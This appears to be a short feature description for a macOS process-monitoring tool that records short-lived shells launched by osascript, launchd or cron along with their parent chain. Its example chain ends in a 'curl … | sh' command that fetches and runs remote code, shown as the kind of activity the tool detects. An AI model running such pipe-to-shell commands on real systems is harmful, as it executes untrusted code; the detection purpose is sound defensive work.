“A terminal window just flashed.”
With sudo lately capture, a shell that an osascript, launchd job or cron job started, and that lived under 2 seconds, becomes an EXEC row. A shows the chain that started it. A parent that exited before capture is shown as chain broken, never guessed.
launchd (1) Apple └─ com.foovpn.helper (4300) Dev ID ABCDE12345 └─ osascript (4321) Apple └─ zsh (4322) zsh -c curl -fsSL https://… | sh ◀